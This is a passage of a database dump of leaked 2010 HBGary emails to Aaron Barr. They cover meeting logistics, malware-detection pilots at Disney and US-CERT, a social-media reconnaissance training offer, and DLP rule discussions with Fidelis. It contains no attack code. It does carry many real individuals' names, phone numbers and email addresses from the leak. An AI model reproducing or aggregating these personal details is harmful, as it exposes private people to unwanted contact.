\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nAm having some calendar issues, but wanted to be sure you\r\nwere at the kickoff tomorrow at our offices in Bethesda, starting 9:30am.&nbsp; We&#8217;re\r\nlocated at 6701 Democracy Blvd, Bethesda 20817.\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13966,'aaron_hbgary_com/13966.html'),(9555,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007345.M840071P14101Q4410.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Disney and USCERT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe need to get whatever malware that is scoring low into the\r\nMartin.&nbsp;&nbsp;&nbsp; Using AD, they can also add their own traits or &#8220;geneomes&#8221;, which\r\nAaron can code for them or we can\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:22 AM\r\nTo: Penny C. Hoglund\r\nCc: Aaron Barr\r\nSubject: Disney and USCERT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nShawn is working now with Fernando at Disney.&nbsp; Fernando\r\nreviewed the End Games report.&nbsp; It was not the same machines that he is\r\nevaluating from Mandiant.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRight now Shawn is working with Fernando to launch Active\r\nDefense this evening to the 2 floors at Disney where he works.&nbsp; Fernando\r\nagreed to include the End Report IP addresses in the POC/Pilot.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n=========================\r\n\r\n\r\n\r\n\r\n\r\nAaron is scheduled at the US CERT for Sept 7 to review\r\nTMC.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUS-CERT said that the malware they have is not coming up red\r\nand orange with DDNA.&nbsp; I am making sure he has the latest downloads and\r\nPhil will go to the US Cert in September also.&nbsp; Our\r\n\r\n\r\n\r\n\r\n\r\ndetection rate for APT at US CERT is very low but again, I\r\ndon\'t know the last time they updated DDNA.&nbsp; I want to confirm this before\r\nrunning to conclusions but Phil said when he was there the detection rates were\r\nlow then... we need to be on top of this...&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe reason they like the TMC is because they can add their own traits.&nbsp;\r\nPart of Aaron\'s discussion is about sharing malware so everyone\r\nbenefits.....&nbsp; They know Aaron\'s clearances so he is the right person to\r\ntake the lead on resolving this issue.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15222,'aaron_hbgary_com/15222.html'),(9556,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007346.M974630P14101Q4411.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Test Email With PayPal','Social Media &amp; Information Reconnaissance occurs several times. Please register for the date and time that works best for you:	\r\nhttps://student.gototraining.com/2p36w/rt/2544265836525209088As is typical of most areas, technol- ogy has moved faster than security. Cur- rently there are virtually no technologies that help protect organizations from information exposure across the social media landscape. Our 1-day training program aims to familiarize organiza- tions with the social media landscape as well as complementary technologies that will increase the potential for infor- mation exposure in coming months and years. The course provides information on effective use of social media both for personal and professional use and cov- ers the risks of social media use. There is an interactive section of the course that covers some information exploita- tion use cases using current popular social media services and social recon- naissance techniques, where we demon- strate the impact both personally and to organizations. The course ends with some protective measures that can be incorporated into personal social media use and organizational policies and di- rectives to limit information exposure, as well we cover some technologies that can be used to better monitor and block certain types of information exposure. \r\nIn order to complete your registration, you must pay for your courseusing the link below.Pay $249.99 Enrollment Fee Now\r\nAfter registering you will receive a confirmation email containing information about joining the training.	Regards,\r\nTed-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n',16494,'aaron_hbgary_com/16494.html'),(9557,'2010-08-03','\"Matt Zeller\" <mzeller@input.com>','/aaron@hbgary.com/new/1297007347.M348035P14101Q4412.eml','Aaron@HBGary.com','INPUT - Follow Up on Your Guest Access / Information Security Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood afternoon Aaron, \r\n\r\n&nbsp;\r\n\r\nI trust you are well since my\r\nlast email.&nbsp;&nbsp; I wanted to reach out to see if you still had an\r\ninterest in taking a closer look at INPUTs government market intelligence and\r\nusing INPUTs guest access?&nbsp;&nbsp; If so, when would be a good time for us\r\nto set this up?\r\n\r\n&nbsp;\r\n\r\nI look forward to hearing from\r\nyou.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matt Zeller \r\nSent: Wednesday, June 30, 2010 4:59 PM\r\nTo: \'Aaron@HBGary.com\'\r\nSubject: INPUT - Discussion \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPer my voicemail,&nbsp;\r\nI&#8217;d like to introduce myself as your point of contact for\r\nINPUT.&nbsp;&nbsp;&nbsp; I see you put in a request for additional information\r\non INPUTs government market intelligence.&nbsp; &nbsp;&nbsp;When would be a\r\ngood time for us to touch base with you?&nbsp; \r\n\r\n&nbsp;\r\n\r\nI look forward to hearing from\r\nyou.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt ZellerSr. Account ManagerINPUT11720 Plaza America Drive, Suite 1200, Reston, Virginia 20190Direct: 703-707-4039; FAX: 703-707-6201mzeller@input.comhttp://www.input.comFollow us on Twitter @INPUTgovernment\r\nThis email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to which they are addressed.&nbsp; If you are not the intended recipient or the person responsible for delivering the email to the intended recipient, be advised that you have received this email and any such files in error and that any use, dissemination, forwarding, printing or copying of this email and/or any such files is strictly prohibited.&nbsp; If you have received this email in error please immediately notify postmaster@input.com and destroy the original message and any such files. \r\n{*}\r\n\r\n\r\n\r\n',14549,'aaron_hbgary_com/14549.html'),(9558,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007349.M121193P14101Q4413.eml','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','Re: Fidelis Discussion','Jerry,\r\n\r\nI agree i don\'t think building the rules is technically the hard part, it\'s just taking the time to do it.  I think once they are built there will be a lot of benefit and interest.  It\'s a different model than some are used to so somewhat chicken and egg.  If they are built and it\'s demoable then people will buy it, just talking about it people are interested but I am having a harder time really getting their interest past that at the moment without something more tangible.  Slower moving forward than i would like but it is what it is.  I am just impatient because i see the value.\r\n\r\nI like the feed model.  We are reselling services from end games very similar.  We to could use either.  It would be neat to compare some time.\r\n\r\nAaron  \r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 1:28 PM, \"Mancini, Jerry\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n> In my (obviously biased) opinion, rule creation in Fidelis XPS is very\r\n> easy. If you can transfer the knowledge, we can build the rules without\r\n> much effort. I agree that automation can come later - but that won\'t be\r\n> too hard either given our API into our rule creation engine.\r\n> \r\n> Regarding the suspicious/malicious sources, we just released our Feed\r\n> Manager feature with version 6.2 in July. The feed manager will accept a\r\n> feed of such sources of information. We have a partnership with\r\n> Cyveillance where we can accept their information from a customer with a\r\n> paid subscription. We can also take feeds from any other source provided\r\n> the customer has access to it.\r\n> \r\n> Jerry\r\n> \r\n>> -----Original Message-----\r\n>> From: Aaron barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, August 03, 2010 11:58 AM\r\n>> To: Mancini, Jerry\r\n>> Subject: Re: Fidelis Discussion\r\n>> \r\n>> Hi Jerry,\r\n>> \r\n>> Sure.  We do a decent amount of incident response work so we have on\r\n>> the ground knowledge of the threat space, and there are a default set\r\n>> of rules that would be helpful to build to take some action.\r\n>> Attachments with certain characteristics.  IP traffic from suspicious\r\n>> or known malicious sources.  Suspicious traffic patterns or traffic\r\n>> content.  This would be based on our knowledge of the threat space.  I\r\n>> strongly believe eventually we can automate some of the rules\r\n>> generation based on other source collection, whether that be through\r\n>> HBG Active Defense or other source but we can manually generate those\r\n>> to start.  We can build those rules just don\'t have the budget to do\r\n> so\r\n>> at the moment.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n>>  wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I\'m away on vacation this week - due back next Monday.\r\n>>> \r\n>>> I\'d like to know the details behind the missing rules and see what\r\n> we\r\n>>> can do. When you say \"developing a set of default rules\" - can you\r\n>>> elaborate?\r\n>>> \r\n>>> Thanks,\r\n>>> Jerry\r\n>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 02, 2010 2:25 PM\r\n>>>> To: Mancini, Jerry\r\n>>>> Subject: Fidelis Discussion\r\n>>>> \r\n>>>> Hi Jerry,\r\n>>>> \r\n>>>> Just getting back from Vegas and processing a lot of good contacts\r\n>> and\r\n>>>> feedback.\r\n>>>> \r\n>>>> Lots of general interest related to Fidelis and HBGary integration.\r\n>>>> Lots of interest on Fidelis use being able to do session\r\n>>> reconstruction\r\n>>>> and some analysis.  But the lack of base and generated rules tend\r\n> to\r\n>>>> put the box right back into the strict DLP rather than the larger\r\n>>>> perimeter defense category.  I had a brief conversation with Mary\r\n>> out\r\n>>>> there on this.  Is there any internal momentum or interest in\r\n>>>> developing a set of default rules?  Our plan is to eventually work\r\n>> on\r\n>>>> what it might look like to generate rules using Active Defense\r\n> hashs\r\n>>>> but we haven\'t got their yet, just don\'t have the manpower right\r\n> now\r\n>>> to\r\n>>>> do it.  We know its very possible and are pitching the combined\r\n>>>> capability as an offering, its just slow.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>> \r\n',14548,'aaron_hbgary_com/14548.html'),(9559,'2010-08-03','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297007349.M923234P14101Q4414.eml','\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>,\"Barr, Aaron\" <aaron@hbgary.com>','Cyber Social Media Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust realized\r\nafter I talked to you both about this, I forgot to connect you. Mike Aaron has\r\ngot some exciting training we need to pay attention to especially off of our\r\nlunch conversation about mobile networking. WE need to think thru how to\r\ndiscuss integrating this into our plans as well.\r\n\r\nGib\r\n\r\n&nbsp;\r\n\r\nJB\r\nGodwin III\r\n\r\nNorthrop Grumman, Information Systems\r\n\r\nDefense Systems Division\r\n\r\nVice President, Cybersecurity and Systems Integration\r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\n&nbsp;\r\n\r\n(o) 703.561.4610\r\n\r\n(m)703.201.2543\r\n\r\njames.godwin@ngc.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3085,'aaron_hbgary_com/3085.html'),(9560,'2010-08-03','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007350.M177103P14101Q4415.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','Aaron,\r\nIf the rules are so easy, why haven\'t they written them yet? ;-) and why\r\nare they considering hiring someone to do it if it\'s so\r\neasy---frustrating. Our engine is easy, the policy is hard. We know how\r\nto write, but not what.\r\nAnd the feeds are nice but the customers who were asking for policy\r\nalready had them enabled and weren\'t satisfied with those.\r\nJust leave it from here on out, I\'d say--for whatever reason they\'re\r\nbeing stubborn. Beats the heck out of me. You\'ve put it on the table,\r\nwait for them to call.\r\nI\'ll keep you posted with what I hear. I still think it was a brilliant\r\nidea and I can\'t believe they don\'t too. \r\n\r\nMary Sullivan\r\nD 240-396-2446\r\nM 301-980-1308\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 3:21 PM\r\nTo: Mancini, Jerry\r\nSubject: Re: Fidelis Discussion\r\n\r\nJerry,\r\n\r\nI agree i don\'t think building the rules is technically the hard part,\r\nit\'s just taking the time to do it.  I think once they are built there\r\nwill be a lot of benefit and interest.  It\'s a different model than some\r\nare used to so somewhat chicken and egg.  If they are built and it\'s\r\ndemoable then people will buy it, just talking about it people are\r\ninterested but I am having a harder time really getting their interest\r\npast that at the moment without something more tangible.  Slower moving\r\nforward than i would like but it is what it is.  I am just impatient\r\nbecause i see the value.\r\n\r\nI like the feed model.  We are reselling services from end games very\r\nsimilar.  We to could use either.  It would be neat to compare some\r\ntime.\r\n\r\nAaron  \r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 1:28 PM, \"Mancini, Jerry\"\r\n wrote:\r\n\r\n> Aaron,\r\n> \r\n> In my (obviously biased) opinion, rule creation in Fidelis XPS is very\r\n> easy. If you can transfer the knowledge, we can build the rules\r\nwithout\r\n> much effort. I agree that automation can come later - but that won\'t\r\nbe\r\n> too hard either given our API into our rule creation engine.\r\n> \r\n> Regarding the suspicious/malicious sources, we just released our Feed\r\n> Manager feature with version 6.2 in July. The feed manager will accept\r\na\r\n> feed of such sources of information. We have a partnership with\r\n> Cyveillance where we can accept their information from a customer with\r\na\r\n> paid subscription. We can also take feeds from any other source\r\nprovided\r\n> the customer has access to it.\r\n> \r\n> Jerry\r\n> \r\n>> -----Original Message-----\r\n>> From: Aaron barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, August 03, 2010 11:58 AM\r\n>> To: Mancini, Jerry\r\n>> Subject: Re: Fidelis Discussion\r\n>> \r\n>> Hi Jerry,\r\n>> \r\n>> Sure.  We do a decent amount of incident response work so we have on\r\n>> the ground knowledge of the threat space, and there are a default set\r\n>> of rules that would be helpful to build to take some action.\r\n>> Attachments with certain characteristics.  IP traffic from suspicious\r\n>> or known malicious sources.  Suspicious traffic patterns or traffic\r\n>> content.  This would be based on our knowledge of the threat space.\r\nI\r\n>> strongly believe eventually we can automate some of the rules\r\n>> generation based on other source collection, whether that be through\r\n>> HBG Active Defense or other source but we can manually generate those\r\n>> to start.  We can build those rules just don\'t have the budget to do\r\n> so\r\n>> at the moment.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n>>  wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I\'m away on vacation this week - due back next Monday.\r\n>>> \r\n>>> I\'d like to know the details behind the missing rules and see what\r\n> we\r\n>>> can do. When you say \"developing a set of default rules\" - can you\r\n>>> elaborate?\r\n>>> \r\n>>> Thanks,\r\n>>> Jerry\r\n>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 02, 2010 2:25 PM\r\n>>>> To: Mancini, Jerry\r\n>>>> Subject: Fidelis Discussion\r\n>>>> \r\n>>>> Hi Jerry,\r\n>>>> \r\n>>>> Just getting back from Vegas and processing a lot of good contacts\r\n>> and\r\n>>>> feedback.\r\n>>>> \r\n>>>> Lots of general interest related to Fidelis and HBGary integration.\r\n>>>> Lots of interest on Fidelis use being able to do session\r\n>>> reconstruction\r\n>>>> and some analysis.  But the lack of base and generated rules tend\r\n> to\r\n>>>> put the box right back into the strict DLP rather than the larger\r\n>>>> perimeter defense category.  I had a brief conversation with Mary\r\n>> out\r\n>>>> there on this.  Is there any internal momentum or interest in\r\n>>>> developing a set of default rules?  Our plan is to eventually work\r\n>> on\r\n>>>> what it might look like to generate rules using Active Defense\r\n> hashs\r\n>>>> but we haven\'t got their yet, just don\'t have the manpower right\r\n> now\r\n>>> to\r\n>>>> do it.  We know its very possible and are pitching the combined\r\n>>>> capability as an offering, its just slow.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>> \r\n',6044,'aaron_hbgary_com/6044.html'),(9561,'2010-08-03','\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>','/aaron@hbgary.com/new/1297007350.M678349P14101Q4416.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,\"Barr, Aaron\" <aaron@hbgary.com>','RE: Cyber Social Media Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nGlad to be introduced to you.&nbsp; I\r\nlook forward to further discussing this domain.\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMichael Lefebvre\r\n\r\nNorthrop Grumman \r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\nc. 571.318.7326\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Godwin, Gib (IS) \r\nSent: Tuesday, August 03, 2010 3:36 PM\r\nTo: Lefebvre, Michael (IS); \'Barr, Aaron\'\r\nSubject: Cyber Social Media Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust realized\r\nafter I talked to you both about this, I forgot to connect you. Mike Aaron has\r\ngot some exciting training we need to pay attention to especially off of our\r\nlunch conversation about mobile networking. WE need to think thru how to\r\ndiscuss integrating this into our plans as well.\r\n\r\nGib\r\n\r\n&nbsp;\r\n\r\nJB\r\nGodwin III\r\n\r\nNorthrop Grumman, Information Systems\r\n\r\nDefense Systems Division\r\n\r\nVice President, Cybersecurity and Systems Integration\r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\n&nbsp;\r\n\r\n(o) 703.561.4610\r\n\r\n(m)703.201.2543\r\n\r\njames.godwin@ngc.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16832,'aaron_hbgary_com/16832.html'),(9562,'2010-08-03','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007352.M63587P14101Q4417.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 3, 2010\r\n    AFCEA NOVA\r\n    \r\n        Latest:\r\n\r\n            &bull;\r\n\r\n\r\n            &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           JAVA Software Developers needed. Great salaries and outstanding benefits!\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',6776,'aaron_hbgary_com/6776.html'),(9563,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007353.M6074P14101Q4418.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: Fidelis Discussion','Rgr.  Knowing what to write is always the hard part.  And it will be difficult i think to find someone that knows how to write the rules to come in and do that as their job.  What do they do after that?  Are u going to be able ti get the right person.  Ok i will leave it for now.  I agree it\'s a good idea.\r\n\r\nSent from my iPad\r\n\r\nOn Aug 3, 2010, at 3:47 PM, \"Sullivan, Mary\"  wrote:\r\n\r\n> Aaron,\r\n> If the rules are so easy, why haven\'t they written them yet? ;-) and why\r\n> are they considering hiring someone to do it if it\'s so\r\n> easy---frustrating. Our engine is easy, the policy is hard. We know how\r\n> to write, but not what.\r\n> And the feeds are nice but the customers who were asking for policy\r\n> already had them enabled and weren\'t satisfied with those.\r\n> Just leave it from here on out, I\'d say--for whatever reason they\'re\r\n> being stubborn. Beats the heck out of me. You\'ve put it on the table,\r\n> wait for them to call.\r\n> I\'ll keep you posted with what I hear. I still think it was a brilliant\r\n> idea and I can\'t believe they don\'t too. \r\n> \r\n> Mary Sullivan\r\n> D 240-396-2446\r\n> M 301-980-1308\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 3:21 PM\r\n> To: Mancini, Jerry\r\n> Subject: Re: Fidelis Discussion\r\n> \r\n> Jerry,\r\n> \r\n> I agree i don\'t think building the rules is technically the hard part,\r\n> it\'s just taking the time to do it.  I think once they are built there\r\n> will be a lot of benefit and interest.  It\'s a different model than some\r\n> are used to so somewhat chicken and egg.  If they are built and it\'s\r\n> demoable then people will buy it, just talking about it people are\r\n> interested but I am having a harder time really getting their interest\r\n> past that at the moment without something more tangible.  Slower moving\r\n> forward than i would like but it is what it is.  I am just impatient\r\n> because i see the value.\r\n> \r\n> I like the feed model.  We are reselling services from end games very\r\n> similar.  We to could use either.  It would be neat to compare some\r\n> time.\r\n> \r\n> Aaron  \r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 3, 2010, at 1:28 PM, \"Mancini, Jerry\"\r\n>  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> In my (obviously biased) opinion, rule creation in Fidelis XPS is very\r\n>> easy. If you can transfer the knowledge, we can build the rules\r\n> without\r\n>> much effort. I agree that automation can come later - but that won\'t\r\n> be\r\n>> too hard either given our API into our rule creation engine.\r\n>> \r\n>> Regarding the suspicious/malicious sources, we just released our Feed\r\n>> Manager feature with version 6.2 in July. The feed manager will accept\r\n> a\r\n>> feed of such sources of information. We have a partnership with\r\n>> Cyveillance where we can accept their information from a customer with\r\n> a\r\n>> paid subscription. We can also take feeds from any other source\r\n> provided\r\n>> the customer has access to it.\r\n>> \r\n>> Jerry\r\n>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, August 03, 2010 11:58 AM\r\n>>> To: Mancini, Jerry\r\n>>> Subject: Re: Fidelis Discussion\r\n>>> \r\n>>> Hi Jerry,\r\n>>> \r\n>>> Sure.  We do a decent amount of incident response work so we have on\r\n>>> the ground knowledge of the threat space, and there are a default set\r\n>>> of rules that would be helpful to build to take some action.\r\n>>> Attachments with certain characteristics.  IP traffic from suspicious\r\n>>> or known malicious sources.  Suspicious traffic patterns or traffic\r\n>>> content.  This would be based on our knowledge of the threat space.\r\n> I\r\n>>> strongly believe eventually we can automate some of the rules\r\n>>> generation based on other source collection, whether that be through\r\n>>> HBG Active Defense or other source but we can manually generate those\r\n>>> to start.  We can build those rules just don\'t have the budget to do\r\n>> so\r\n>>> at the moment.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPad\r\n>>> \r\n>>> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n>>>  wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> \r\n>>>> I\'m away on vacation this week - due back next Monday.\r\n>>>> \r\n>>>> I\'d like to know the details behind the missing rules and see what\r\n>> we\r\n>>>> can do. When you say \"developing a set of default rules\" - can you\r\n>>>> elaborate?\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Jerry\r\n>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, August 02, 2010 2:25 PM\r\n>>>>> To: Mancini, Jerry\r\n>>>>> Subject: Fidelis Discussion\r\n>>>>> \r\n>>>>> Hi Jerry,\r\n>>>>> \r\n>>>>> Just getting back from Vegas and processing a lot of good contacts\r\n>>> and\r\n>>>>> feedback.\r\n>>>>> \r\n>>>>> Lots of general interest related to Fidelis and HBGary integration.\r\n>>>>> Lots of interest on Fidelis use being able to do session\r\n>>>> reconstruction\r\n>>>>> and some analysis.  But the lack of base and generated rules tend\r\n>> to\r\n>>>>> put the box right back into the strict DLP rather than the larger\r\n>>>>> perimeter defense category.  I had a brief conversation with Mary\r\n>>> out\r\n>>>>> there on this.  Is there any internal momentum or interest in\r\n>>>>> developing a set of default rules?  Our plan is to eventually work\r\n>>> on\r\n>>>>> what it might look like to generate rules using Active Defense\r\n>> hashs\r\n>>>>> but we haven\'t got their yet, just don\'t have the manpower right\r\n>> now\r\n>>>> to\r\n>>>>> do it.  We know its very possible and are pitching the combined\r\n>>>>> capability as an offering, its just slow.\r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>> \r\n',9905,'aaron_hbgary_com/9905.html'),(9564,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007353.M909548P14101Q4419.eml','\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>,\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>','Re: Cyber Social Media Training','Great. &nbsp;Happy to sit down and discuss.AaronSent from my iPadOn Aug 3, 2010, at 3:53 PM, \"Lefebvre, Michael (IS)\" &lt;Michael.Lefebvre@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nGlad to be introduced to you.&nbsp; I\r\nlook forward to further discussing this domain.\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMichael Lefebvre\r\n\r\nNorthrop Grumman \r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\nc. 571.318.7326\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Godwin, Gib (IS) \r\nSent: Tuesday, August 03, 2010 3:36 PM\r\nTo: Lefebvre, Michael (IS); \'Barr, Aaron\'\r\nSubject: Cyber Social Media Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust realized\r\nafter I talked to you both about this, I forgot to connect you. Mike Aaron has\r\ngot some exciting training we need to pay attention to especially off of our\r\nlunch conversation about mobile networking. WE need to think thru how to\r\ndiscuss integrating this into our plans as well.\r\n\r\nGib\r\n\r\n&nbsp;\r\n\r\nJB\r\nGodwin III\r\n\r\nNorthrop Grumman, Information Systems\r\n\r\nDefense Systems Division\r\n\r\nVice President, Cybersecurity and Systems Integration\r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\n&nbsp;\r\n\r\n(o) 703.561.4610\r\n\r\n(m)703.201.2543\r\n\r\njames.godwin@ngc.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2344,'aaron_hbgary_com/2344.html'),(9565,'2010-08-03','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297007354.M417804P14101Q4420.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: EOP HBGary Pilot Discussion 4:30 EST @ Tue Aug 3 4:30pm - 	5:30pm (aaron@hbgary.com)',' more details &raquo;EOP HBGary Pilot Discussion 4:30 ESTRich Cummings and Brian Christos will document Scope of Pilot.  Pilot plans will be submitted to EOP CIO for approval.  Targeted pilot timeframe is August.    View your event at 